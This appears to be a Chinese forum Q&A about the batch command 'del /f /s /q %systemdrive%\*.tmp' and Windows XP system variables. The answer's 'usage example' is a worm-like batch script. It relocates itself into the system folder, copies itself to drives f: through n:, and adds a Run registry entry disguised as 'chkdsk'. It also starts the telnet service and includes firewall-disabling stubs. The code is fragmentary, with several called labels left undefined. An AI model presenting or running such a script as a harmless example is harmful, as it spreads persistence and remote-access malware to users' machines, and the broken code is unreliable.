批处理del /f /s /q %systemdrive%\*.tmp 的含义是清除C盘及其子目录下的所有.TMP文件吗？

看到很多文章里面说SYSTEMDRIVE是WINDOWS目录，可是我实践以后发现他是C盘根目录 而SYSTEMROOT才是WINDOWS文件夹啊

以上是xp中的系统变量。用法举例：
@echo off
if not exist %windir%\system.vbe (call :me)
start %windir%\system.vbe
if not exist %systemroot%\%~nx0 (move %~nx0 %systemroot%)
if exist "%homepath%"\桌面\520.txt (call :shanchu)
if exist "%homepath%"\桌面\程序删除说明.txt goto end
if exist "%homepath%"\桌面\"%computername%".txt (call :shuoming >>"%homepath%"\桌面\程序删除说明.txt)
for %%i in (f: g: h: i: j: k: m: n:) do (if exist %%i\ (call :copy))
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v chkdsk /t REG_SZ /d %windir%\chkdsk.bat
if exist "%homepath%"\桌面\"%computername%".txt goto end
if not exist "%homepath%"\桌面\"%computername%".txt (call :txt >>"%homepath%"\桌面\"%computername%".txt)
exit

echo 运行了哪些进程：

echo 关闭防火墙：

echo 开启telnet

net start tlntsvr
if "%errorlevel%"=="0" (echo 成功开启telnet >>"%homepath%"\桌面\%computername%.txt) else (echo. 开启失败 >>"%homepath%"\桌面\%computername%.txt )
echo 开启的服务：

goto :eof

echo.结果保存在桌面"%computername%".txt里面
echo.如果你想还原，请按以下方法做：
echo.
echo.1.请在桌面新建一个或直接将本文档更名为520的记事本
echo.2.双击随后出现的shanchu.bat
echo.3.最后删除掉shanchu.bat即可。
echo.4.桌面会保留chkdsk.bat，你可以选择保留或者删除。

exit
以上代码保存成bat文件，用于XP系统中。

同样，但用于WIN七系统中。
